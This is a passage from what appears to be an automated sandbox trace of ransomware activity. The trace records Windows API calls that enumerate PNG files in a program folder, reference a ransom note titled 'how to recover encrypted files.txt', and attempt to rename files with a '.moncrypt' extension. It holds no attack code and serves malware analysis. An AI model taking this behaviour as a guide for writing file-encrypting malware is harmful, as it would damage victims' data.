lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", cchWideChar=97, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 97 [0057.796] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.796] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.796] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.796] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.796] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.797] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.798] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.798] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0057.798] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.798] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.798] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.798] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.798] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.798] GlobalUnlock (hMem=0x44000c) returned 0 [0057.798] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.798] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.798] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.798] GlobalUnlock (hMem=0x44000c) returned 0 [0057.798] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.798] GlobalUnlock (hMem=0x440004) returned 0 [0057.798] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.799] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png", cchWideChar=88, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.pngi", lpUsedDefaultChar=0x0) returned 88 [0057.800] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.800] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\LayeredTitles\\NavigationUp_ButtonGraphic.pngi", lpUsedDefaultChar=0x0) returned 4 [0057.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.800] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.800] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.800] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.800] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.802] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.802] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0057.802] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.802] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: 